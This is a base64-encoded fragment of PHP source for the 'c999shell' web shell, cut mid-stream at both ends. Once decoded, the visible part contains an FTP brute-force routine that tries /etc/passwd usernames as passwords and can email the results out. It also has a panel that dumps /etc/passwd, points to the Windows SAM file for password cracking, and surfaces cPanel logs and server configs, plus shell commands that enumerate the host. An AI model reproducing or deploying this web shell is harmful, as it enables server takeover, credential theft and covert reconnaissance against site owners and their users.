0gJGQpCiB7CiAgaWYgKGZpbGVfZXhpc3RzKCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9CiAgZWxzZWlmICghbWtkaXIoJG1rZGlyKSkge2VjaG8gIjxiPk1ha2UgRGlyIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2RpcikuIlwiPC9iPjogYWNjZXNzIGRlbmllZCI7fQogIGVjaG8gIjxicj48YnI+IjsKIH0KICRhY3QgPSAkZHNwYWN0ID0gImxzIjsKfQppZiAoJGFjdCA9PSAiZnRwcXVpY2ticnV0ZSIpCnsKIGVjaG8gIjxiPkZ0cCBRdWljayBicnV0ZTo8L2I+PGJyPiI7CiBpZiAoIXdpbikge2VjaG8gIlRoaXMgZnVuY3Rpb25zIG5vdCB3b3JrIGluIFdpbmRvd3MhPGJyPjxicj4iO30KIGVsc2UKIHsKICBmdW5jdGlvbiBjOTk5ZnRwYnJ1dGVjaGVjaygkaG9zdCwkcG9ydCwkdGltZW91dCwkbG9naW4sJHBhc3MsJHNoLCRmcWJfb25seXdpdGhzaCkKICB7CiAgIGlmICgkZnFiX29ubHl3aXRoc2gpIHskVFJVRSA9ICghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fQogICBlbHNlIHskVFJVRSA9IFRSVUU7fQogICBpZiAoJFRSVUUpCiAgIHsKICAgICRzb2NrID0gQGZ0cF9jb25uZWN0KCRob3N0LCRwb3J0LCR0aW1lb3V0KTsKICAgIGlmIChAZnRwX2xvZ2luKCRzb2NrLCRsb2dpbiwkcGFzcykpCiAgICB7CiAgICAgZWNobyAiPGEgaHJlZj1cImZ0cDovLyIuJGxvZ2luLiI6Ii4kcGFzcy4iQCIuJGhvc3QuIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5lY3RlZCB0byAiLiRob3N0LiIgd2l0aCBsb2dpbiBcIiIuJGxvZ2luLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRwYXNzLiJcIjwvYj48L2E+Ljxicj4iOwogICAgIG9iX2ZsdXNoKCk7CiAgICAgcmV0dXJuIFRSVUU7CiAgICB9CiAgIH0KICB9CiAgaWYgKCFlbXB0eSgkc3VibWl0KSkKICB7CiAgIGlmICghaXNfbnVtZXJpYygkZnFiX2xlbmdodCkpIHskZnFiX2xlbmdodCA9ICRuaXhwd2RwZXJwYWdlO30KICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwiciIpOwogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dvcmQtbGlzdC4iO30KICAgZWxzZQogICB7CiAgICBpZiAoJGZxYl9sb2dnaW5nKQogICAgewogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHskZnFiX2xvZ2ZwID0gZm9wZW4oJGZxYl9sb2dmaWxlLCJ3Iik7fQogICAgIGVsc2UgeyRmcWJfbG9nZnAgPSBGQUxTRTt9CiAgICAgJGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChjYWxsZWQgYzk5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7CiAgICAgaWYgKCRmcWJfbG9nZmlsZSkge2Z3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30KICAgIH0KICAgIG9iX2ZsdXNoKCk7CiAgICAkaSA9ICRzdWNjZXNzID0gMDsKICAgICRmdHBxdWlja19zdCA9IGdldG1pY3JvdGltZSgpOwogICAgd2hpbGUoIWZlb2YoJGZwKSkKICAgIHsKICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsKICAgICBpZiAoYzk5OWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQogICAgIHsKICAgICAgZWNobyAiPGI+Q29ubmVjdGVkIHRvICIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiIgd2l0aCBsb2dpbiBcIiIuJHN0clswXS4iXCIgYW5kIHBhc3N3b3JkIFwiIi4kc3RyWzBdLiJcIjwvYj48YnI+IjsKICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLmdldGVudigiU0VSVkVSX05BTUUiKS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7CiAgICAgIGlmICgkZnFiX2xvZ2ZwKSB7ZnNlZWsoJGZxYl9sb2dmcCwwKTsgZndyaXRlKCRmcWJfbG9nZnAsJGZxYl9sb2csc3RybGVuKCRmcWJfbG9nKSk7fQogICAgICAkc3VjY2VzcysrOwogICAgICBvYl9mbHVzaCgpOwogICAgIH0KICAgICBpZiAoJGkgPiAkZnFiX2xlbmdodCkge2JyZWFrO30KICAgICAkaSsrOwogICAgfQogICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQogICAgJGZ0cHF1aWNrX3QgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kZnRwcXVpY2tfc3QsNCk7CiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxicj5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIjxicj5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iPGJyPlN1Y2Nlc3MuOiA8Zm9udCBjb2xvcj1ncmVlbj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsKICAgICRmcWJfbG9nIC49ICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iXHJcblRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiJcclxuU3VjY2Vzcy46ICIuJHN1Y2Nlc3MuIlxyXG5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIucm91bmQoJGkvJGZ0cHF1aWNrX3QsMikuIlxyXG4iOwogICAgaWYgKCRmcWJfbG9nZnApIHtmc2VlaygkZnFiX2xvZ2ZwLDApOyBmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9CiAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsImM5OTlzaGVsbCB2LiAiLiRzaHZlci4iIHJlcG9ydCIsJGZxYl9sb2cpO30KICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsKICAgfQogIH0KICBlbHNlCiAgewogICAkbG9nZmlsZSA9ICR0bXBkaXJfbG9ncy4iYzk5OXNoX2Z0cHF1aWNrYnJ1dGVfIi5kYXRlKCJkLm0uWV9IX2lfcyIpLiIubG9nIjsKICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLERJUkVDVE9SWV9TRVBBUkFUT1IsJGxvZ2ZpbGUpOwogICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9XCJmdHBxdWlja2JydXRlXCI+PGJyPlJlYWQgZmlyc3Q6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1cImZxYl9sZW5naHRcIiB2YWx1ZT1cIiIuJG5peHB3ZHBlcnBhZ2UuIlwiPjxicj48YnI+VXNlcnMgb25seSB3aXRoIHNoZWxsPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX29ubHl3aXRoc2hcIiB2YWx1ZT1cIjFcIj48YnI+PGJyPkxvZ2dpbmc/Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmcWJfbG9nZ2luZ1wiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPkxvZ2dpbmcgdG8gZmlsZT8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2ZpbGVcIiB2YWx1ZT1cIiIuJGxvZ2ZpbGUuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2ZpbGUpKzIqKHN0cmxlbigkbG9nZmlsZSkvMTApKS4iXCI+PGJyPkxvZ2dpbmcgdG8gZS1tYWlsPyZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbG9nZW1haWxcIiB2YWx1ZT1cIiIuJGxvZ19lbWFpbC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkbG9nZW1haWwpKzIqKHN0cmxlbigkbG9nZW1haWwpLzEwKSkuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsKICB9CiB9Cn0KaWYgKCRhY3QgPT0gImQiKQp7CiBpZiAoIWlzX2RpcigkZCkpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQhPC9iPjwvY2VudGVyPiI7fQogZWxzZQogewogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOwogIGlmICghJHdpbikKICB7CiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7CiAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZCkpOwogICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQpKTsKICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZCkpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkKSk7CiAgfQogIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPjwvYT48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkKSkuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwogfQp9CmlmICgkYWN0ID09ICJwaHBpbmZvIikge0BvYl9jbGVhbigpOyBwaHBpbmZvKCk7IGM5OTlzaGV4aXQoKTt9CmlmICgkYWN0ID09ICJzZWN1cml0eSIpCnsKIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvYj48L2NlbnRlcj48Yj5PcGVuIGJhc2UgZGlyOiAiLiRob3BlbmJhc2VkaXIuIjwvYj48YnI+IjsKIGlmICghJHdpbikKIHsKICBpZiAoJG5peHBhc3N3ZCkKICB7CiAgIGlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9CiAgIGVjaG8gIjxiPipuaXggL2V0Yy9wYXNzd2Q6PC9iPjxicj4iOwogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30KICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPVwic2VjdXJpdHlcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cIm5peHBhc3N3ZFwiIHZhbHVlPVwiMVwiPjxiPkZyb206PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dD1cIiBuYW1lPVwibml4cHdkX3NcIiB2YWx1ZT1cIiIuJG5peHB3ZF9zLiJcIj4mbmJzcDs8Yj5Ubzo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsKICAgJGkgPSAkbml4cHdkX3M7CiAgIHdoaWxlICgkaSA8ICRuaXhwd2RfZSkKICAgewogICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsKICAgIGlmICgkdWlkKQogICAgewogICAgICR1aWRbImRpciJdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdWlkWyJkaXIiXSkuIlwiPiIuJHVpZFsiZGlyIl0uIjwvYT4iOwogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwogICAgfQogICAgJGkrKzsKICAgfQogIH0KICBlbHNlIHtlY2hvICI8YnI+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zZWN1cml0eSZuaXhwYXNzd2Q9MSZkPSIuJHVkLiJcIj48Yj48dT5HZXQgL2V0Yy9wYXNzd2Q8L3U+PC9iPjwvYT48YnI+Ijt9CiB9CiBlbHNlCiB7CiAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsKICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9cmVkPllvdSBjYW4ndCBjcmFjayB3aW5udCBwYXNzd29yZHMoIi4kdi4iKSA8L2ZvbnQ+PC9iPjxicj4iO30KICBlbHNlIHtlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyDCqS48L2ZvbnQ+PC9iPjxicj4iO30KIH0KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy91c2VyZG9tYWlucyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9dXNlcmRvbWFpbnMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+VmlldyBjcGFuZWwgdXNlci1kb21haW5zIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2ciKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWFjY291bnRpbmcubG9nJmQ9Ii51cmxlbmNvZGUoIi92YXIvY3BhbmVsLyIpLiJcIiZmdD10eHQ+PHU+PGI+VmlldyBjcGFuZWwgbG9nczwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdXNyL2xvY2FsL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0iLnVybGVuY29kZSgiL3Vzci9sb2NhbC9hcGFjaGUvY29uZiIpLiImZnQ9dHh0XCI+PHU+PGI+QXBhY2hlIGNvbmZpZ3VyYXRpb24gKGh0dHBkLmNvbmYpPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30KIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9zeXNsb2cuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c3lzbG9nLmNvbmYmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+U3lzbG9nIGNvbmZpZ3VyYXRpb24gKHN5c2xvZy5jb25mKTwvYj48L3U+PC9hPjwvZm9udD48L2I+PGJyPiI7fQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL21vdGQiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPW1vdGQmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+PGI+TWVzc2FnZSBPZiBUaGUgRGF5PC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaG9zdHMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWhvc3RzJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1PjxiPkhvc3RzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9CiBmdW5jdGlvbiBkaXNwbGF5c2VjaW5mbygkbmFtZSwkdmFsdWUpIHtpZiAoIWVtcHR5KCR2YWx1ZSkpIHtpZiAoIWVtcHR5KCRuYW1lKSkgeyRuYW1lID0gIjxiPiIuJG5hbWUuIiAtIDwvYj4iO30gZWNobyAkbmFtZS5ubDJicigkdmFsdWUpLiI8YnI+Ijt9fQogZGlzcGxheXNlY2luZm8oIk9TIFZlcnNpb24/IixteXNoZWxsZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24iKSk7CiBkaXNwbGF5c2VjaW5mbygiS2VybmVsIHZlcnNpb24/IixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOwogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2lzc3VlLm5ldCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIG5hbWUgKDIpIixteXNoZWxsZXhlYygiY2F0IC9ldGMvKi1yZWFsaXNlIikpOwogZGlzcGxheXNlY2luZm8oIkNQVT8iLG15c2hlbGxleGVjKCJjYXQgL3Byb2MvY3B1aW5mbyIpKTsKIGRpc3BsYXlzZWNpbmZvKCJSQU0iLG15c2hlbGxleGVjKCJmcmVlIC1tIikpOwogZGlzcGxheXNlY2luZm8oIkhERCBzcGFjZSIsbXlzaGVsbGV4ZWMoImRmIC1oIikpOwogZGlzcGxheXNlY2luZm8oIkxpc3Qgb2YgQXR0cmlidXRlcyIsbXlzaGVsbGV4ZWMoImxzYXR0ciAtYSIpKTsKIGRpc3BsYXlzZWNpbmZvKCJNb3VudCBvcHRpb25zICIsbXlzaGVsbGV4ZWMoImNhdCAvZXRjL2ZzdGFiIikpOwogZGlzcGxheXNlY2luZm8oIklzIGNVUkwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGN1cmwiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgbHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsKIGRpc3BsYXlzZWNpbmZvKCJJcyBsaW5rcyBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbGlua3MiKSk7CiBkaXNwbGF5c2VjaW5mbygiSXMgZmV0Y2ggaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGZldGNoIikpOwogZGlzcGxheXNlY2luZm8oIklzIEdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOwogZGlzcGxheXNlY2luZm8oIklzIHBlcmwgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIHBlcmwiKSk7CiBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgYXBhY2hlIixteXNoZWxsZXhlYygid2hlcmVpcyBhcGFjaGUiKSk7CiBkaXNwbGF5c2VjaW5mbygiV2hlcmUgaXMgcGVybD8iLG15c2hlbGxleGVjKCJ3aGVyZWlzIHBlcmwiKSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIHByb2Z0cGQuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwcm9mdHBkLmNvbmYiKSk7CiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIGh0dHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgaHR0cGQuY29uZiIpKTsKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgbXkuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBteS5jb25mIikpOwogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwc3libmMuY29uZiIsbXlzaGVsbGV4ZWMoImxvY2F0ZSBwc3libmMuY29uZiIpKTsKfQppZiAoJGFjdCA9PSAibWtmaWxlIikKewogaWYgKCRta2ZpbGUgIT0gJGQpCiB7CiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9CiAgZWxzZWlmICghZm9wZW4oJG1rZmlsZSwidyIpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQiO30KICBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJG1rZmlsZSk7IGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gJGYgPSBiYXNlbmFtZSgkbWtmaWxlKTt9CiB9CiBlbHNlIHskYWN0ID0gJGRzcGFjdCA9ICJscyI7fQp9CmlmICgkYWN0ID09ICJlbmNvZGVyIikKewogZWNobyAiPHNjcmlwdD5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PjxjZW50ZXI+PGI+RW5jb2Rlcjo8L2I+PC9jZW50ZXI+PGZvcm0gbmFtZT1cImVuY29kZXJcIiBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9ZW5jb2Rlcj48Yj5JbnB1dDo8L2I+PGNlbnRlcj48dGV4dGFyZWEgbmFtZT1cImVuY29kZXJfaW5wdXRcIiBpZD1cImlucHV0XCIgY29scz01MCByb3dzPTU+Ii5AaHRtbHNwZWNpYWxjaGFycygkZW5jb2Rlcl9pbnB1dCkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJjYWxjdWxhdGVcIj48YnI+PGJyPjwvY2VudGVyPjxiPkhhc2hlczwvYj46PGJyPjxjZW50ZXI+IjsKIGZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpCiB7CiAgZWNobyAkdi4iIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJHYoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48YnI+IjsKIH0KIGVjaG8gIjwvY2VudGVyPjxiPlVybDo8L2I+PGNlbnRlcj48YnI+dXJsZW5jb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIudXJsZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+CiA8YnI+dXJsZGVjb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+CiA8YnI+PC9jZW50ZXI+PGI+QmFzZTY0OjwvYj48Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5iYXNlNjRfZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PC9jZW50ZXI+IjsKIGVjaG8gIjxjZW50ZXI+YmFzZTY0X2RlY29kZSAtICI7CiBpZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJmYWlsZWRcIiBkaXNhYmxlZCByZWFkb25seT4iO30KIGVsc2UKIHsKICAkZGViYXNlNjQgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KTsKICAkZGViYXNlNjQgPSBzdHJfcmVwbGFjZSgiXDAiLCJbMF0iLCRkZWJhc2U2NCk7CiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOwogICRyb3dzID0gY291bnQoJGEpOwogICRkZWJhc2U2NCA9IGh0bWxzcGVjaWFsY2hhcnMoJGRlYmFzZTY0KTsKICBpZiAoJHJvd3MgPT0gMSkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLiRkZWJhc2U2NC4iXCIgaWQ9XCJkZWJhc2U2NFwiIHJlYWRvbmx5PiI7fQogIGVsc2UgeyRyb3dzKys7IGVjaG8gIjx0ZXh0YXJlYSBjb2xzPVwiNDBcIiByb3dzPVwiIi4kcm93cy4iXCIgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KC